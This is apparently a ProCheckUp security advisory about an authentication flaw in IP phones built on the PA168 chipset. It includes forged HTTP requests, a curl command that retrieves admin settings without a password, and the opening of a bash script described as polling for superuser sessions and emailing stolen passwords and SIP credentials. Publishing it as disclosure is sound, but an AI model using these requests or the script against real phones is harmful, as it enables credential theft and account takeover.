Vulnerabilidad en los teléfonos con chipset AP1688

Vulnerable:

Phones confirmed to be vulnerable:

– ATCOM AT-320ED IP Phone running SIP firmware version V1.42 and 1.54
– SOYO G668 Ethernet IP Phone running SIP firmware version v1.42

Severity: Medium

Author: Adrian Pastor [adrian.pastor-AT-procheckup.com] from ProCheckUp

CVE Candidate: Not assigned

Overview:

There is a problem with the way IP Phones using the PA168 chipset handle authenticated sessions, allowing remote attackers to gain access to the admin web console running as superuser.

POST /a HTTP/1.1
Referer: http://192.168.1.100/
Host: 192.168.1.100
Content-Length: 31

auth=12345678&login=+++Login+++

At this point, the superuser session is considered *active* by the web server. All it takes for attackers to perform an administrative task at this point, is for them to send a well-formed request to the web server. Since no authentication tokens or password are submitted within the HTTP requests, anyone can perform administrative tasks while the session is active. Even if the attacker sends the administrative requests from an IP address different to the one used by the superuser account, the IP Phone’s web server would accept them as long as the superuser’s session is still active.

A script called «active-session-attack.sh» has been created, which remotely checks repeatedly until a superuser account has logged on by sending a forged superuser request every five seconds. As soon as the superuser session becomes active, the following information will be obtained from the settings page, and emailed to the attacker:

– IP phone’s superuser password – grants administrative access
– IP phone’s user password – grants restricted access
– SIP gateway hostname/IP address
– SIP account username
– SIP account PIN number

REQUEST:

POST /g HTTP/1.1
Host: 192.168.1.100
Content-Length: 13

back=++Back++

RESPONSE (output has been partially omitted for clarification):

HTTP/1.1 200 OK
Content-Length: 16727
Content-Type: text/html
Connection: close

[output omitted]

[output omitted]

In order to test this vulnerability, the following steps have been provided:

1. Log into http://192.168.1.100 from computer A using the superuser password (‘12345678’ by default)

2. Send the following curl command from computer B:

curl -d «back=++Back++» http://192.168.1.100/g

3. The administrative settings page should be returned without any password required.

Note: the IP phone’s web server is enabled by default

Fix:

Use access control lists on routers or firewalls in order to only allow trusted IP addresses to access ATCOM AT-320ED IP Phone’s web server. Exposing the PA168-based IP Phone’s admin web server on the Internet is not recommended.

References:

http://www.voip-info.org/wiki/view/PA168
http://www.centralitycomm.com/
http://www.aredfox.com/eindex.htm
http://www.atcom.cn/En_products_At320ED.html
http://www.soyogroup.com/products/proddesc.php?id=307
http://www.procheckup.com/Vulner_2007.php

Legal:

Copyright 2006 ProCheckUp Ltd. All rights reserved.

Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if the Bulletin is not changed or edited in any way, is attributed to ProCheckUp indicating this web page URL, and provided such reproduction and/or distribution is performed for non-commercial purposes.

Any other use of this information is prohibited. ProCheckUp is not liable for any misuse of this information by any third party.

ProCheckUp is not responsible for the content of external Internet sites.

#!/bin/bash

host=»192.168.1.100″;
attackers_email=»adrian.pastor-AT-procheckup.com»
req=»POST /g HTTP/1.0\r\nContent-length: 13\r\n\r\nback=++Back++\r\n\r\n»;